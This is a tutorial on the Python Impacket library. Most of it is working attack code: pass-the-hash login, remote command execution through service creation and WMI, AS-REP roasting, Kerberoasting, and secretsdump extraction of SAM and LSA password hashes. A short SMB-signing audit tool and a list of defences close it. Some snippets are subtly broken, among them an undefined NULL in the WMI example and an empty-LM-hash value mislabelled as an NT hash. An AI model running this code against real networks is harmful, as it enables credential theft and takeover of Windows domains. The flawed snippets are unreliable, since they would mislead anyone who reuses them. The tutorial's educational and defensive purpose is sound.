Python Impacket Security Tools — Deep Dive
System-level framing
Impacket is the foundational Python library for Windows protocol security research. Developed originally by SecureAuth (now Fortra), it provides pure-Python implementations of protocols that are normally only available through Windows APIs. This means you can interact with Active Directory, SMB shares, Kerberos, and DCOM from Linux, macOS, or any system running Python — a critical capability for security testing.
Understanding Impacket at the code level lets you build custom security tools, automate assessment workflows, and understand attack techniques deeply enough to defend against them.
Installation
pip install impacket
The package includes both the library and example scripts (installed as console entry points).
SMB operations
Connecting and listing shares
from impacket.smbconnection import SMBConnection
conn = SMBConnection("target-server", "192.168.1.100")
conn.login("username", "password", "DOMAIN")
# List available shares
shares = conn.listShares()
for share in shares:
name = share["shi1_netname"][:-1] # Remove null terminator
print(f"Share: {name}")
# List files in a share
files = conn.listPath("SharedDocs", "\\*")
for f in files:
print(f" {f.get_longname()}")
conn.logoff()
File operations
from impacket.smbconnection import SMBConnection
conn = SMBConnection("target", "192.168.1.100")
conn.login("user", "pass", "DOMAIN")
# Download a file
with open("local_copy.txt", "wb") as local_file:
conn.getFile("SharedDocs", "\\reports\\quarterly.txt", local_file.write)
# Upload a file
with open("payload.txt", "rb") as local_file:
conn.putFile("SharedDocs", "\\uploads\\payload.txt", local_file.read)
# Delete a file
conn.deleteFile("SharedDocs", "\\uploads\\payload.txt")
conn.logoff()
Pass-the-Hash authentication
from impacket.smbconnection import SMBConnection
conn = SMBConnection("target", "192.168.1.100")
# Authenticate with NTLM hash instead of password
# Format: LM_HASH:NT_HASH (LM is usually empty for modern systems)
conn.login("admin", "", "DOMAIN", lmhash="", nthash="aad3b435b51404eeaad3b435b51404ee")
shares = conn.listShares()
conn.logoff()
Remote command execution
PsExec-style execution
from impacket.examples.utils import parse_target
from impacket.smbconnection import SMBConnection
from impacket import smbserver
import subprocess
# Using the library directly for remote service creation
from impacket.dcerpc.v5 import transport, scmr
def remote_exec(target: str, username: str, password: str, domain: str, command: str):
"""Execute a command on a remote machine via SMB service creation."""
conn = SMBConnection(target, target)
conn.login(username, password, domain)
# Connect to Service Control Manager
rpc = transport.SMBTransport(target, filename="\\svcctl")
rpc.set_smb_connection(conn)
dce = rpc.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)
# Open SCM
resp = scmr.hROpenSCManagerW(dce)
sc_handle = resp["lpScHandle"]
# Create a service that runs our command
service_name = "TempSvc"
resp = scmr.hRCreateServiceW(
dce, sc_handle, service_name, service_name,
lpBinaryPathName=f"cmd.exe /c {command}",
dwStartType=scmr.SERVICE_DEMAND_START,
)
service_handle = resp["lpServiceHandle"]
# Start the service (runs the command)
try:
scmr.hRStartServiceW(dce, service_handle)
except Exception:
pass # Service exits immediately after command runs
# Cleanup
scmr.hRDeleteService(dce, service_handle)
scmr.hRCloseServiceHandle(dce, service_handle)
scmr.hRCloseServiceHandle(dce, sc_handle)
dce.disconnect()
WMI execution
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
def wmi_exec(target: str, username: str, password: str, domain: str, command: str):
"""Execute a command via WMI (Windows Management Instrumentation)."""
dcom = DCOMConnection(target, username, password, domain)
iInterface = dcom.CoCreateInstanceEx(
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
iWbemLevel1Login.RemRelease()
# Create a process
win32_process, _ = iWbemServices.GetObject("Win32_Process")
win32_process.Create(command, "C:\\", None)
dcom.disconnect()
Kerberos operations
AS-REP Roasting (finding accounts without pre-auth)
from impacket.krb5.asn1 import AS_REQ, AS_REP, seq_set
from impacket.krb5 import constants
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
from impacket.krb5.types import Principal, KerberosTime
def check_asrep_roastable(domain: str, dc_ip: str, username: str) -> str | None:
"""Check if a user account has Kerberos pre-auth disabled."""
client_name = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
# Request TGT without pre-authentication
tgt, cipher, old_session_key, session_key = getKerberosTGT(
clientName=client_name,
password="",
domain=domain,
lmhash="",
nthash="",
kdcHost=dc_ip,
)
# If we get here without error, pre-auth is disabled
return f"[VULNERABLE] {username} - AS-REP hash obtained"
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_PREAUTH_REQUIRED.value:
return None # Pre-auth is required — account is properly configured
raise
Kerberoasting (extracting service ticket hashes)
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants
def kerberoast(
domain: str, dc_ip: str, username: str, password: str, target_spn: str
) -> bytes:
"""Request a service ticket for cracking (Kerberoasting)."""
# Get TGT first
client = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, old_session_key, session_key = getKerberosTGT(
clientName=client,
password=password,
domain=domain,
lmhash="",
nthash="",
kdcHost=dc_ip,
)
# Request service ticket for the target SPN
server = Principal(target_spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, old_session_key, session_key = getKerberosTGS(
serverName=server,
domain=domain,
kdcHost=dc_ip,
tgt=tgt,
cipher=cipher,
sessionKey=session_key,
)
return tgs # Contains the encrypted hash for offline cracking
LDAP Active Directory enumeration
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
def enumerate_ad(dc_ip: str, domain: str, username: str, password: str):
"""Enumerate Active Directory users and groups."""
# Build LDAP base DN from domain
base_dn = ",".join([f"DC={part}" for part in domain.split(".")])
ldap_conn = ldap_impacket.LDAPConnection(
f"ldap://{dc_ip}", base_dn, dc_ip
)
ldap_conn.login(username, password, domain)
# Find all users
search_filter = "(&(objectCategory=person)(objectClass=user))"
attributes = ["sAMAccountName", "mail", "memberOf", "lastLogon", "userAccountControl"]
results = ldap_conn.search(
searchFilter=search_filter,
attributes=attributes,
sizeLimit=1000,
)
users = []
for entry in results:
if isinstance(entry, ldapasn1_impacket.SearchResultEntry):
user = {}
for attr in entry["attributes"]:
attr_type = str(attr["type"])
attr_vals = [str(v) for v in attr["vals"]]
user[attr_type] = attr_vals[0] if len(attr_vals) == 1 else attr_vals
users.append(user)
return users
NTLM hash extraction (secretsdump)
from impacket.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
def dump_secrets(target: str, username: str, password: str, domain: str):
"""Extract password hashes from a remote machine."""
from impacket.smbconnection import SMBConnection
conn = SMBConnection(target, target)
conn.login(username, password, domain)
remote_ops = RemoteOperations(conn, False)
remote_ops.enableRegistry()
# SAM database (local accounts)
boot_key = remote_ops.getBootKey()
sam_hashes = SAMHashes(
remote_ops.saveSAM(), boot_key, isRemote=True
)
sam_hashes.dump()
# LSA secrets (service account passwords, cached credentials)
lsa = LSASecrets(
remote_ops.saveSECURITY(), boot_key, remote_ops, isRemote=True
)
lsa.dumpCachedHashes()
lsa.dumpSecrets()
remote_ops.finish()
conn.logoff()
Building custom tools
Impacket’s strength is as a library for building custom security tools:
from impacket.smbconnection import SMBConnection
from concurrent.futures import ThreadPoolExecutor
import sys
def check_smb_signing(target: str) -> dict:
"""Check if SMB signing is required on a target."""
try:
conn = SMBConnection(target, target, timeout=5)
signing = conn.isSigningRequired()
dialect = conn.getDialect()
conn.logoff()
return {
"target": target,
"signing_required": signing,
"dialect": f"SMB{dialect}",
"status": "accessible",
}
except Exception as e:
return {"target": target, "status": "error", "error": str(e)}
def audit_smb_fleet(targets: list[str], max_workers: int = 20) -> list[dict]:
"""Check SMB signing across a network."""
with ThreadPoolExecutor(max_workers=max_workers) as executor:
results = list(executor.map(check_smb_signing, targets))
unsigned = [r for r in results if r.get("signing_required") is False]
if unsigned:
print(f"WARNING: {len(unsigned)} hosts do not require SMB signing!")
for host in unsigned:
print(f" - {host['target']}")
return results
Defense recommendations
Understanding Impacket from a defensive perspective:
- Enable SMB signing — Prevents relay attacks.
check_smb_signing()above helps audit this. - Disable NTLM where possible — Force Kerberos authentication to prevent Pass-the-Hash.
- Enable Kerberos pre-authentication — Prevents AS-REP Roasting.
- Use group Managed Service Accounts (gMSA) — Auto-rotating passwords prevent Kerberoasting.
- Monitor for unusual DCOM/WMI activity — Remote execution tools leave detectable patterns.
- Deploy LAPS (Local Administrator Password Solution) — Unique local admin passwords per machine.
- Restrict service account delegation — Unconstrained delegation is a major escalation path.
Tradeoffs
| Tool | Pros | Cons |
|---|---|---|
| Impacket (Python) | Full protocol library, scriptable, cross-platform | Detected by many EDR solutions |
| CrackMapExec | High-level automation, easy to use | Built on Impacket (same detection) |
| Mimikatz (C) | In-memory credential extraction | Windows-only, heavily signatured |
| Rubeus (C#) | Advanced Kerberos attacks | Windows-only, .NET dependency |
| SharpHound | AD relationship mapping | Windows-only, detection risk |
One thing to remember: Impacket is a protocol library, not a vulnerability exploit. The security issues it tests are in the protocols themselves — SMB relay, Pass-the-Hash, Kerberoasting — all stem from how Windows authentication is designed. Understanding these protocols through Impacket makes you a better defender, because you can test the same paths that real attackers use.
See Also
- Python Dns Resolver Understand how Python translates website names into addresses, like a phone book for the entire internet.
- Python Dpkt Packet Parsing Understand how Python reads and decodes captured network traffic, like opening envelopes to see what is inside each message.
- Python Ftp Sftp Transfers Understand how Python moves files between computers over a network, like a digital delivery truck with a locked or unlocked cargo door.
- Python Netconf Yang Understand how Python configures network devices automatically, like a remote control for every router and switch in your building.
- Python Pcap Analysis Understand how Python reads recordings of network traffic, like playing back security camera footage to see what happened on your network.